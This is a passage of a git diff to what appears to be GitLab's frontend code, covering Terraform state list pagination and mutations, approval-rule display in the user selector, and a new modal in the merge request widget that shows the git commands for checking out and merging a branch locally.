+ return this.states?.project?.terraformStates?.pageInfo || {};
},
showPagination() {
return this.pageInfo.hasPreviousPage || this.pageInfo.hasNextPage;
},
statesCount() {
- return this.states?.count;
+ return this.states?.project?.terraformStates?.count;
},
statesList() {
- return this.states?.list;
+ return this.states?.project?.terraformStates?.nodes;
},
},
methods: {
- updatePagination(item) {
- if (item === this.pageInfo.endCursor) {
- this.cursor = {
- first: MAX_LIST_COUNT,
- after: item,
- last: null,
- before: null,
- };
- } else {
- this.cursor = {
- first: null,
- after: null,
- last: MAX_LIST_COUNT,
- before: item,
- };
- }
+ nextPage(item) {
+ this.cursor = {
+ first: MAX_LIST_COUNT,
+ after: item,
+ last: null,
+ before: null,
+ };
+ },
+ prevPage(item) {
+ this.cursor = {
+ first: null,
+ after: null,
+ last: MAX_LIST_COUNT,
+ before: item,
+ };
},
},
};
@@ -111,14 +109,10 @@ export default {
<div v-else-if="statesList">
<div v-if="statesCount">
- <states-table :states="statesList" />
+ <states-table :states="statesList" :terraform-admin="terraformAdmin" />
<div v-if="showPagination" class="gl-display-flex gl-justify-content-center gl-mt-5">
- <gl-keyset-pagination
- v-bind="pageInfo"
- @prev="updatePagination"
- @next="updatePagination"
- />
+ <gl-keyset-pagination v-bind="pageInfo" @prev="prevPage" @next="nextPage" />
</div>
</div>
diff --git a/app/assets/javascripts/terraform/graphql/fragments/state_version.fragment.graphql b/app/assets/javascripts/terraform/graphql/fragments/state_version.fragment.graphql
index c7e9700c696..70ba5c960be 100644
--- a/app/assets/javascripts/terraform/graphql/fragments/state_version.fragment.graphql
+++ b/app/assets/javascripts/terraform/graphql/fragments/state_version.fragment.graphql
@@ -1,9 +1,26 @@
#import "~/graphql_shared/fragments/user.fragment.graphql"
fragment StateVersion on TerraformStateVersion {
+ downloadPath
+ serial
updatedAt
createdByUser {
...User
}
+
+ job {
+ detailedStatus {
+ detailsPath
+ group
+ icon
+ label
+ text
+ }
+
+ pipeline {
+ id
+ path
+ }
+ }
}
diff --git a/app/assets/javascripts/terraform/graphql/mutations/lock_state.mutation.graphql b/app/assets/javascripts/terraform/graphql/mutations/lock_state.mutation.graphql
new file mode 100644
index 00000000000..aea0f8b025a
--- /dev/null
+++ b/app/assets/javascripts/terraform/graphql/mutations/lock_state.mutation.graphql
@@ -0,0 +1,5 @@
+mutation lockState($stateID: TerraformStateID!) {
+ terraformStateLock(input: { id: $stateID }) {
+ errors
+ }
+}
diff --git a/app/assets/javascripts/terraform/graphql/mutations/remove_state.mutation.graphql b/app/assets/javascripts/terraform/graphql/mutations/remove_state.mutation.graphql
new file mode 100644
index 00000000000..d85ebb9cea2
--- /dev/null
+++ b/app/assets/javascripts/terraform/graphql/mutations/remove_state.mutation.graphql
@@ -0,0 +1,5 @@
+mutation removeState($stateID: TerraformStateID!) {
+ terraformStateDelete(input: { id: $stateID }) {
+ errors
+ }
+}
diff --git a/app/assets/javascripts/terraform/graphql/mutations/unlock_state.mutation.graphql b/app/assets/javascripts/terraform/graphql/mutations/unlock_state.mutation.graphql
new file mode 100644
index 00000000000..1909fe95cf3
--- /dev/null
+++ b/app/assets/javascripts/terraform/graphql/mutations/unlock_state.mutation.graphql
@@ -0,0 +1,5 @@
+mutation unlockState($stateID: TerraformStateID!) {
+ terraformStateUnlock(input: { id: $stateID }) {
+ errors
+ }
+}
diff --git a/app/assets/javascripts/terraform/index.js b/app/assets/javascripts/terraform/index.js
index 579d2d14023..e27a29433f3 100644
--- a/app/assets/javascripts/terraform/index.js
+++ b/app/assets/javascripts/terraform/index.js
@@ -24,6 +24,7 @@ export default () => {
props: {
emptyStateImage,
projectPath,
+ terraformAdmin: el.hasAttribute('data-terraform-admin'),
},
});
},
diff --git a/app/assets/javascripts/users_select/index.js b/app/assets/javascripts/users_select/index.js
index dccd6807f13..e693c3e90a4 100644
--- a/app/assets/javascripts/users_select/index.js
+++ b/app/assets/javascripts/users_select/index.js
@@ -15,6 +15,7 @@ import { parseBoolean, spriteIcon } from '../lib/utils/common_utils';
import { getAjaxUsersSelectOptions, getAjaxUsersSelectParams } from './utils';
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
import { fixTitle, dispose } from '~/tooltips';
+import { loadCSSFile } from '../lib/utils/css_utils';
// TODO: remove eventHub hack after code splitting refactor
window.emitSidebarEvent = window.emitSidebarEvent || $.noop;
@@ -48,6 +49,7 @@ function UsersSelect(currentUser, els, options = {}) {
options.todoStateFilter = $dropdown.data('todoStateFilter');
options.iid = $dropdown.data('iid');
options.issuableType = $dropdown.data('issuableType');
+ options.targetBranch = $dropdown.data('targetBranch');
const showNullUser = $dropdown.data('nullUser');
const defaultNullUser = $dropdown.data('nullUserDefault');
const showMenuAbove = $dropdown.data('showMenuAbove');
@@ -62,8 +64,7 @@ function UsersSelect(currentUser, els, options = {}) {
const abilityName = $dropdown.data('abilityName');
let $value = $block.find('.value');
const $collapsedSidebar = $block.find('.sidebar-collapsed-user');
- // eslint-disable-next-line no-jquery/no-fade
- const $loading = $block.find('.block-loading').fadeOut();
+ const $loading = $block.find('.block-loading').addClass('gl-display-none');
const selectedIdDefault = defaultNullUser && showNullUser ? 0 : null;
let selectedId = $dropdown.data('selected');
let assignTo;
@@ -204,16 +205,14 @@ function UsersSelect(currentUser, els, options = {}) {
const data = {};
data[abilityName] = {};
data[abilityName].assignee_id = selected != null ? selected : null;
- // eslint-disable-next-line no-jquery/no-fade
- $loading.removeClass('hidden').fadeIn();
+ $loading.removeClass('gl-display-none');
$dropdown.trigger('loading.gl.dropdown');
return axios.put(issueURL, data).then(({ data }) => {
let user = {};
let tooltipTitle = user.name;
$dropdown.trigger('loaded.gl.dropdown');
- // eslint-disable-next-line no-jquery/no-fade
- $loading.fadeOut();
+ $loading.addClass('gl-display-none');
if (data.assignee) {
user = {
name: data.assignee.name,
@@ -584,7 +583,14 @@ function UsersSelect(currentUser, els, options = {}) {
img = `<img src='${avatar}' class='avatar avatar-inline m-0' width='32' />`;
}
- return userSelect.renderRow(options.issuableType, user, selected, username, img);
+ return userSelect.renderRow(
+ options.issuableType,
+ user,
+ selected,
+ username,
+ img,
+ elsClassName,
+ );
},
});
});
@@ -592,92 +598,97 @@ function UsersSelect(currentUser, els, options = {}) {
if ($('.ajax-users-select').length) {
import(/* webpackChunkName: 'select2' */ 'select2/select2')
.then(() => {
- $('.ajax-users-select').each((i, select) => {
- const options = getAjaxUsersSelectOptions($(select), AJAX_USERS_SELECT_OPTIONS_MAP);
- options.skipLdap = $(select).hasClass('skip_ldap');
- const showNullUser = $(select).data('nullUser');
- const showAnyUser = $(select).data('anyUser');
- const showEmailUser = $(select).data('emailUser');
- const firstUser = $(select).data('firstUser');
- return $(select).select2({
- placeholder: __('Search for a user'),
- multiple: $(select).hasClass('multiselect'),
- minimumInputLength: 0,
- query(query) {
- return userSelect.users(query.term, options, users => {
- let name;
- const data = {
- results: users,
- };
- if (query.term.length === 0) {
- if (firstUser) {
- // Move current user to the front of the list
- const ref = data.results;
-
- for (let index = 0, len = ref.length; index < len; index += 1) {
- const obj = ref[index];
- if (obj.username === firstUser) {
- data.results.splice(index, 1);
- data.results.unshift(obj);
- break;
+ // eslint-disable-next-line promise/no-nesting
+ loadCSSFile(gon.select2_css_path)
+ .then(() => {
+ $('.ajax-users-select').each((i, select) => {
+ const options = getAjaxUsersSelectOptions($(select), AJAX_USERS_SELECT_OPTIONS_MAP);
+ options.skipLdap = $(select).hasClass('skip_ldap');
+ const showNullUser = $(select).data('nullUser');
+ const showAnyUser = $(select).data('anyUser');
+ const showEmailUser = $(select).data('emailUser');
+ const firstUser = $(select).data('firstUser');
+ return $(select).select2({
+ placeholder: __('Search for a user'),
+ multiple: $(select).hasClass('multiselect'),
+ minimumInputLength: 0,
+ query(query) {
+ return userSelect.users(query.term, options, users => {
+ let name;
+ const data = {
+ results: users,
+ };
+ if (query.term.length === 0) {
+ if (firstUser) {
+ // Move current user to the front of the list
+ const ref = data.results;
+
+ for (let index = 0, len = ref.length; index < len; index += 1) {
+ const obj = ref[index];
+ if (obj.username === firstUser) {
+ data.results.splice(index, 1);
+ data.results.unshift(obj);
+ break;
+ }
+ }
+ }
+ if (showNullUser) {
+ const nullUser = {
+ name: s__('UsersSelect|Unassigned'),
+ id: 0,
+ };
+ data.results.unshift(nullUser);
+ }
+ if (showAnyUser) {
+ name = showAnyUser;
+ if (name === true) {
+ name = s__('UsersSelect|Any User');
+ }
+ const anyUser = {
+ name,
+ id: null,
+ };
+ data.results.unshift(anyUser);
}
}
- }
- if (showNullUser) {
- const nullUser = {
- name: s__('UsersSelect|Unassigned'),
- id: 0,
- };
- data.results.unshift(nullUser);
- }
- if (showAnyUser) {
- name = showAnyUser;
- if (name === true) {
- name = s__('UsersSelect|Any User');
+ if (
+ showEmailUser &&
+ data.results.length === 0 &&
+ query.term.match(/^[^@]+@[^@]+$/)
+ ) {
+ const trimmed = query.term.trim();
+ const emailUser = {
+ name: sprintf(__('Invite "%{trimmed}" by email'), { trimmed }),
+ username: trimmed,
+ id: trimmed,
+ invite: true,
+ };
+ data.results.unshift(emailUser);
}
- const anyUser = {
- name,
- id: null,
- };
- data.results.unshift(anyUser);
- }
- }
- if (
- showEmailUser &&
- data.results.length === 0 &&
- query.term.match(/^[^@]+@[^@]+$/)
- ) {
- const trimmed = query.term.trim();
- const emailUser = {
- name: sprintf(__('Invite "%{trimmed}" by email'), { trimmed }),
- username: trimmed,
- id: trimmed,
- invite: true,
- };
- data.results.unshift(emailUser);
- }
- return query.callback(data);
+ return query.callback(data);
+ });
+ },
+ initSelection() {
+ const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
+ return userSelect.initSelection.apply(userSelect, args);
+ },
+ formatResult() {
+ const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
+ return userSelect.formatResult.apply(userSelect, args);
+ },
+ formatSelection() {
+ const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
+ return userSelect.formatSelection.apply(userSelect, args);
+ },
+ dropdownCssClass: 'ajax-users-dropdown',
+ // we do not want to escape markup since we are displaying html in results
+ escapeMarkup(m) {
+ return m;
+ },
});
- },
- initSelection() {
- const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
- return userSelect.initSelection.apply(userSelect, args);
- },
- formatResult() {
- const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
- return userSelect.formatResult.apply(userSelect, args);
- },
- formatSelection() {
- const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
- return userSelect.formatSelection.apply(userSelect, args);
- },
- dropdownCssClass: 'ajax-users-dropdown',
- // we do not want to escape markup since we are displaying html in results
- escapeMarkup(m) {
- return m;
- },
- });
- });
+ });
+ })
+ .catch(() => {});
})
.catch(() => {});
}
@@ -743,8 +754,17 @@ UsersSelect.prototype.users = function(query, options, callback) {
...getAjaxUsersSelectParams(options, AJAX_USERS_SELECT_PARAMS_MAP),
};
- if (options.issuableType === 'merge_request') {
+ const isMergeRequest = options.issuableType === 'merge_request';
+ const isEditMergeRequest = !options.issuableType && (options.iid && options.targetBranch);
+ const isNewMergeRequest = !options.issuableType && (!options.iid && options.targetBranch);
+
+ if (isMergeRequest || isEditMergeRequest || isNewMergeRequest) {
params.merge_request_iid = options.iid || null;
+ params.approval_rules = true;
+ }
+
+ if (isNewMergeRequest) {
+ params.target_branch = options.targetBranch || null;
}
return axios.get(url, { params }).then(({ data }) => {
@@ -759,7 +779,14 @@ UsersSelect.prototype.buildUrl = function(url) {
return url;
};
-UsersSelect.prototype.renderRow = function(issuableType, user, selected, username, img) {
+UsersSelect.prototype.renderRow = function(
+ issuableType,
+ user,
+ selected,
+ username,
+ img,
+ elsClassName,
+) {
const tooltip = issuableType === 'merge_request' && !user.can_merge ? __('Cannot merge') : '';
const tooltipClass = tooltip ? `has-tooltip` : '';
const selectedClass = selected === true ? 'is-active' : '';
@@ -773,10 +800,15 @@ UsersSelect.prototype.renderRow = function(issuableType, user, selected, usernam
<a href="#" class="dropdown-menu-user-link d-flex align-items-center ${linkClasses}" ${tooltipAttributes}>
${this.renderRowAvatar(issuableType, user, img)}
<span class="d-flex flex-column overflow-hidden">
- <strong class="dropdown-menu-user-full-name">
+ <strong class="dropdown-menu-user-full-name gl-font-weight-bold">
${escape(user.name)}
</strong>
- ${username ? `<span class="dropdown-menu-user-username">${username}</span>` : ''}
+ ${
+ username
+ ? `<span class="dropdown-menu-user-username gl-text-gray-400">${username}</span>`
+ : ''
+ }
+ ${this.renderApprovalRules(elsClassName, user.applicable_approval_rules)}
</span>
</a>
</li>
@@ -790,7 +822,7 @@ UsersSelect.prototype.renderRowAvatar = function(issuableType, user, img) {
const mergeIcon =
issuableType === 'merge_request' && !user.can_merge
- ? '<i class="fa fa-exclamation-triangle merge-icon"></i>'
+ ? spriteIcon('warning-solid', 's12 merge-icon')
: '';
return `<span class="position-relative mr-2">
@@ -799,4 +831,22 @@ UsersSelect.prototype.renderRowAvatar = function(issuableType, user, img) {
</span>`;
};
+UsersSelect.prototype.renderApprovalRules = function(elsClassName, approvalRules = []) {
+ if (!gon.features?.reviewerApprovalRules || !elsClassName?.includes('reviewer')) {
+ return '';
+ }
+
+ const count = approvalRules.length;
+ const [rule] = approvalRules;
+ const countText = sprintf(__('(+%{count}&nbsp;rules)'), { count });
+ const renderApprovalRulesCount = count > 1 ? `<span class="ml-1">${countText}</span>` : '';
+
+ return count
+ ? `<div class="gl-display-flex gl-font-sm">
+ <span class="gl-text-truncate" title="${rule.name}">${rule.name}</span>
+ ${renderApprovalRulesCount}
+ </div>`
+ : '';
+};
+
export default UsersSelect;
diff --git a/app/assets/javascripts/version_check_image.js b/app/assets/javascripts/version_check_image.js
index ec515e892c6..4e00e0f11f7 100644
--- a/app/assets/javascripts/version_check_image.js
+++ b/app/assets/javascripts/version_check_image.js
@@ -1,5 +1,6 @@
export default class VersionCheckImage {
static bindErrorEvent(imageElement) {
+ // eslint-disable-next-line @gitlab/no-global-event-off
imageElement.off('error').on('error', () => imageElement.hide());
}
}
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/deployment/constants.js b/app/assets/javascripts/vue_merge_request_widget/components/deployment/constants.js
index 66de4f8b682..29d067a46a6 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/deployment/constants.js
+++ b/app/assets/javascripts/vue_merge_request_widget/components/deployment/constants.js
@@ -6,6 +6,7 @@ export const RUNNING = 'running';
export const SUCCESS = 'success';
export const FAILED = 'failed';
export const CANCELED = 'canceled';
+export const SKIPPED = 'skipped';
// ACTION STATUSES
export const STOPPING = 'stopping';
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_info.vue b/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_info.vue
index 2f922b990d9..390469dec24 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_info.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_info.vue
@@ -4,7 +4,15 @@ import { __ } from '~/locale';
import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
import timeagoMixin from '~/vue_shared/mixins/timeago';
import MemoryUsage from './memory_usage.vue';
-import { MANUAL_DEPLOY, WILL_DEPLOY, RUNNING, SUCCESS, FAILED, CANCELED } from './constants';
+import {
+ MANUAL_DEPLOY,
+ WILL_DEPLOY,
+ RUNNING,
+ SUCCESS,
+ FAILED,
+ CANCELED,
+ SKIPPED,
+} from './constants';
export default {
name: 'DeploymentInfo',
@@ -38,6 +46,7 @@ export default {
[SUCCESS]: __('Deployed to'),
[FAILED]: __('Failed to deploy to'),
[CANCELED]: __('Canceled deployment to'),
+ [SKIPPED]: __('Skipped deployment to'),
},
computed: {
deployTimeago() {
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue
index d5fdbe726e9..6628ab7be83 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue
@@ -7,12 +7,14 @@ import {
GlDropdownSectionHeader,
GlDropdownItem,
GlTooltipDirective,
+ GlModalDirective,
} from '@gitlab/ui';
import { n__, s__, sprintf } from '~/locale';
import { mergeUrlParams, webIDEUrl } from '~/lib/utils/url_utility';
import clipboardButton from '~/vue_shared/components/clipboard_button.vue';
import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
import MrWidgetIcon from './mr_widget_icon.vue';
+import MrWidgetHowToMergeModal from './mr_widget_how_to_merge_modal.vue';
export default {
name: 'MRWidgetHeader',
@@ -20,6 +22,7 @@ export default {
clipboardButton,
TooltipOnTruncate,
MrWidgetIcon,
+ MrWidgetHowToMergeModal,
GlButton,
GlDropdown,
GlDropdownSectionHeader,
@@ -27,6 +30,7 @@ export default {
},
directives: {
GlTooltip: GlTooltipDirective,
+ GlModalDirective,
},
props: {
mr: {
@@ -82,6 +86,9 @@ export default {
)
: '';
},
+ isFork() {
+ return this.mr.sourceProjectFullPath !== this.mr.targetProjectFullPath;
+ },
},
};
</script>
@@ -140,13 +147,22 @@ export default {
</gl-button>
</span>
<gl-button
+ v-gl-modal-directive="'modal-merge-info'"
:disabled="mr.sourceBranchRemoved"
- data-target="#modal_merge_info"
- data-toggle="modal"
class="js-check-out-branch gl-mr-3"
>
{{ s__('mrWidget|Check out branch') }}
</gl-button>
+ <mr-widget-how-to-merge-modal
+ :is-fork="isFork"
+ :can-merge="mr.canMerge"
+ :source-branch="mr.sourceBranch"
+ :source-project="mr.sourceProject"
+ :source-project-path="mr.sourceProjectFullPath"
+ :target-branch="mr.targetBranch"
+ :source-project-default-url="mr.sourceProjectDefaultUrl"
+ :reviewing-docs-path="mr.reviewingDocsPath"
+ />
</template>
<gl-dropdown
v-gl-tooltip
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_how_to_merge_modal.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_how_to_merge_modal.vue
new file mode 100644
index 00000000000..785e8ef8e8f
--- /dev/null
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_how_to_merge_modal.vue
@@ -0,0 +1,172 @@
+<script>
+/* eslint-disable @gitlab/require-i18n-strings */
+import { GlModal, GlLink, GlSprintf } from '@gitlab/ui';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import { __ } from '~/locale';
+
+export default {
+ i18n: {
+ steps: {
+ step1: {
+ label: __('Step 1.'),
+ help: __('Fetch and check out the branch for this merge request'),
+ },
+ step2: {
+ label: __('Step 2.'),
+ help: __('Review the changes locally'),
+ },
+ step3: {
+ label: __('Step 3.'),
+ help: __('Merge the branch and fix any conflicts that come up'),
+ },
+ step4: {
+ label: __('Step 4.'),
+ help: __('Push the result of the merge to GitLab'),
+ },
+ },
+ copyCommands: __('Copy commands'),
+ tip: __(
+ '%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}',
+ ),
+ title: __('Check out, review, and merge locally'),
+ },
+ components: {
+ GlModal,
+ ClipboardButton,
+ GlLink,
+ GlSprintf,
+ },
+ props: {
+ canMerge: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ isFork: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ sourceBranch: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ sourceProjectPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ targetBranch: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ sourceProjectDefaultUrl: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ reviewingDocsPath: {
+ type: String,
+ required: false,
+ default: null,
+ },
+ },
+ computed: {
+ mergeInfo1() {
+ return this.isFork
+ ? `git fetch "${this.sourceProjectDefaultUrl}" ${this.sourceBranch}\ngit checkout -b "${this.sourceProjectPath}-${this.sourceBranch}" FETCH_HEAD`
+ : `git fetch origin\ngit checkout -b "${this.sourceBranch}" "origin/${this.sourceBranch}"`;
+ },
+ mergeInfo2() {
+ return this.isFork
+ ? `git fetch origin\ngit checkout "${this.targetBranch}"\ngit merge --no-ff "${this.sourceProjectPath}-${this.sourceBranch}"`
+ : `git fetch origin\ngit checkout "${this.targetBranch}"\ngit merge --no-ff "${this.sourceBranch}"`;
+ },
+ mergeInfo3() {
+ return this.canMerge
+ ? `git push origin "${this.targetBranch}"`
+ : __('Note that pushing to GitLab requires write access to this repository.');
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-modal
+ modal-id="modal-merge-info"
+ :no-enforce-focus="true"
+ :title="$options.i18n.title"
+ no-fade
+ hide-footer
+ >
+ <p>
+ <strong>
+ {{ $options.i18n.steps.step1.label }}
+ </strong>
+ {{ $options.i18n.steps.step1.help }}
+ </p>
+ <div class="gl-display-flex">
+ <pre class="gl-overflow-scroll gl-w-full" data-testid="how-to-merge-instructions">{{
+ mergeInfo1
+ }}</pre>
+ <clipboard-button
+ :text="mergeInfo1"
+ :title="$options.i18n.copyCommands"
+ class="gl-shadow-none! gl-bg-transparent! gl-flex-shrink-0"
+ />
+ </div>
+
+ <p>
+ <strong>
+ {{ $options.i18n.steps.step2.label }}
+ </strong>
+ {{ $options.i18n.steps.step2.help }}
+ </p>
+ <p>
+ <strong>
+ {{ $options.i18n.steps.step3.label }}
+ </strong>
+ {{ $options.i18n.steps.step3.help }}
+ </p>
+ <div class="gl-display-flex">
+ <pre class="gl-overflow-scroll gl-w-full" data-testid="how-to-merge-instructions">{{
+ mergeInfo2
+ }}</pre>
+ <clipboard-button
+ :text="mergeInfo2"
+ :title="$options.i18n.copyCommands"
+ class="gl-shadow-none! gl-bg-transparent! gl-flex-shrink-0"
+ />
+ </div>
+ <p>
+ <strong>
+ {{ $options.i18n.steps.step4.label }}
+ </strong>
+ {{ $options.i18n.steps.step4.help }}
+ </p>
+ <div class="gl-display-flex">
+ <pre class="gl-overflow-scroll gl-w-full" data-testid="how-to-merge-instructions">{{
+ mergeInfo3
+ }}</pre>
+ <clipboard-button
+ :text="mergeInfo3"
+ :title="$options.i18n.copyCommands"
+ class="gl-shadow-none! gl-bg-transparent! gl-flex-shrink-0"
+ />
+ </div>
+ <p v-if="reviewingDocsPath">
+ <gl-sprintf :message="$options.i18n.tip">
+ <template #strong="{ content }">
+ <strong>{{ content }}</strong>
+ </template>
+ <template #link="{ content }">
+ <gl-link class="gl-display-inline-block" :href="reviewingDocsPath" target="_blank">{{
+ content
+ }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ </gl-modal>
+</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_merge_help.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_merge_help.vue
index 53bf9d5ab6f..1727383ea2c 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_merge_help.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_merge_help.vue
@@ -1,8 +1,15 @@
<script>
+import { GlButton, GlModalDirective } from '@gitlab/ui';
import { sprintf, s__ } from '~/locale';
export default {
name: 'MRWidgetMergeHelp',
+ components: {
+ GlButton,
+ },
+ directives: {
+ GlModalDirective,
+ },
props: {
missingBranch: {
type: String,
@@ -31,13 +38,12 @@ export default {
{{ s__('mrWidget|You can merge this merge request manually using the') }}
</template>
- <button
- type="button"
- class="btn-link btn-blank js-open-modal-help"
- data-toggle="modal"
- data-target="#modal_merge_info"
+ <gl-button
+ v-gl-modal-directive="'modal-merge-info'"
+ variant="link"
+ class="gl-mt-n2 js-open-modal-help"
>
{{ s__('mrWidget|command line') }}
- </button>
+ </gl-button>
</section>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline_container.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline_container.vue
index 55efd7e7d3b..dffe3cab904 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline_container.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline_container.vue
@@ -1,7 +1,6 @@
<script>
import { isNumber } from 'lodash';
import ArtifactsApp from './artifacts_list_app.vue';
-import Deployment from './deployment/deployment.vue';
import MrWidgetContainer from './mr_widget_container.vue';
import MrWidgetPipeline from './mr_widget_pipeline.vue';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
@@ -18,7 +17,7 @@ export default {
name: 'MrWidgetPipelineContainer',
components: {
ArtifactsApp,
- Deployment,
+ Deployment: () => import('./deployment/deployment.vue'),
MrWidgetContainer,
MrWidgetPipeline,
MergeTrainPositionIndicator: () =>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_status_icon.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_status_icon.vue
index 82566682bca..bc23ca6b1fc 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_status_icon.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_status_icon.vue
@@ -1,10 +1,11 @@
<script>
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlButton, GlLoadingIcon } from '@gitlab/ui';
import ciIcon from '../../vue_shared/components/ci_icon.vue';
export default {
components: {
ciIcon,
+ GlButton,
GlLoadingIcon,
},
props: {
@@ -32,21 +33,23 @@ export default {
};
</script>
<template>
- <div class="d-flex align-self-start">
+ <div class="gl-display-flex gl-align-self-start">
<div class="square s24 h-auto d-flex-center gl-mr-3">
- <div v-if="isLoading" class="mr-widget-icon d-inline-flex">
- <gl-loading-icon size="md" class="mr-loading-icon d-inline-flex" />
+ <div v-if="isLoading" class="mr-widget-icon gl-display-inline-flex">
+ <gl-loading-icon size="md" class="mr-loading-icon gl-display-inline-flex" />
</div>
<ci-icon v-else :status="statusObj" :size="24" />
</div>
- <button
+ <gl-button
v-if="showDisabledButton"
type="button"
- class="js-disabled-merge-button btn btn-success btn-sm"
- disabled="true"
+ category="primary"
+ variant="success"
+ class="js-disabled-merge-button"
+ :disabled="true"
>
{{ s__('mrWidget|Merge') }}
- </button>
+ </gl-button>
</div>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
index d421b744fa1..87c59e5ece9 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
@@ -1,14 +1,47 @@
<script>
import $ from 'jquery';
import { escape } from 'lodash';
+import { GlButton, GlModalDirective, GlSkeletonLoader } from '@gitlab/ui';
import { s__, sprintf } from '~/locale';
import { mouseenter, debouncedMouseleave, togglePopover } from '~/shared/popover';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import mergeRequestQueryVariablesMixin from '../../mixins/merge_request_query_variables';
import StatusIcon from '../mr_widget_status_icon.vue';
+import userPermissionsQuery from '../../queries/permissions.query.graphql';
+import conflictsStateQuery from '../../queries/states/conflicts.query.graphql';
export default {
name: 'MRWidgetConflicts',
components: {
+ GlSkeletonLoader,
StatusIcon,
+ GlButton,
+ },
+ directives: {
+ GlModalDirective,
+ },
+ mixins: [glFeatureFlagMixin(), mergeRequestQueryVariablesMixin],
+ apollo: {
+ userPermissions: {
+ query: userPermissionsQuery,
+ skip() {
+ return !this.glFeatures.mergeRequestWidgetGraphql;
+ },
+ variables() {
+ return this.mergeRequestQueryVariables;
+ },
+ update: data => data.project.mergeRequest.userPermissions,
+ },
+ stateData: {
+ query: conflictsStateQuery,
+ skip() {
+ return !this.glFeatures.mergeRequestWidgetGraphql;
+ },
+ variables() {
+ return this.mergeRequestQueryVariables;
+ },
+ update: data => data.project.mergeRequest,
+ },
},
props: {
/* TODO: This is providing all store and service down when it
@@ -19,21 +52,72 @@ export default {
default: () => ({}),
},
},
+ data() {
+ return {
+ userPermissions: {},
+ stateData: {},
+ };
+ },
computed: {
+ isLoading() {
+ return (
+ this.glFeatures.mergeRequestWidgetGraphql &&
+ this.$apollo.queries.userPermissions.loading &&
+ this.$apollo.queries.stateData.loading
+ );
+ },
+ canPushToSourceBranch() {
+ if (this.glFeatures.mergeRequestWidgetGraphql) {
+ return this.userPermissions.pushToSourceBranch;
+ }
+
+ return this.mr.canPushToSourceBranch;
+ },
+ canMerge() {
+ if (this.glFeatures.mergeRequestWidgetGraphql) {
+ return this.userPermissions.canMerge;
+ }
+
+ return this.mr.canMerge;
+ },
+ shouldBeRebased() {
+ if (this.glFeatures.mergeRequestWidgetGraphql) {
+ return this.stateData.shouldBeRebased;
+ }
+
+ return this.mr.shouldBeRebased;
+ },
+ sourceBranchProtected() {
+ if (this.glFeatures.mergeRequestWidgetGraphql) {
+ return this.stateData.sourceBranchProtected;
+ }
+
+ return this.mr.sourceBranchProtected;
+ },
popoverTitle() {
return s__(
'mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected.',
);
},
showResolveButton() {
- return this.mr.conflictResolutionPath && this.mr.canPushToSourceBranch;
+ return this.mr.conflictResolutionPath && this.canPushToSourceBranch;
},
showPopover() {
- return this.showResolveButton && this.mr.sourceBranchProtected;
+ return this.showResolveButton && this.sourceBranchProtected;
},
},
- mounted() {
- if (this.showPopover) {
+ watch: {
+ showPopover: {
+ handler(newVal) {
+ if (newVal) {
+ this.$nextTick(this.initPopover);
+ }
+ },
+ immediate: true,
+ },
+ },
+ methods: {
+ initPopover() {
const $el = $(this.$refs.popover);
$el
@@ -63,7 +147,7 @@ export default {
.on('show.bs.popover', () => {
window.addEventListener('scroll', togglePopover.bind($el, false), { once: true });
});
- }
+ },
},
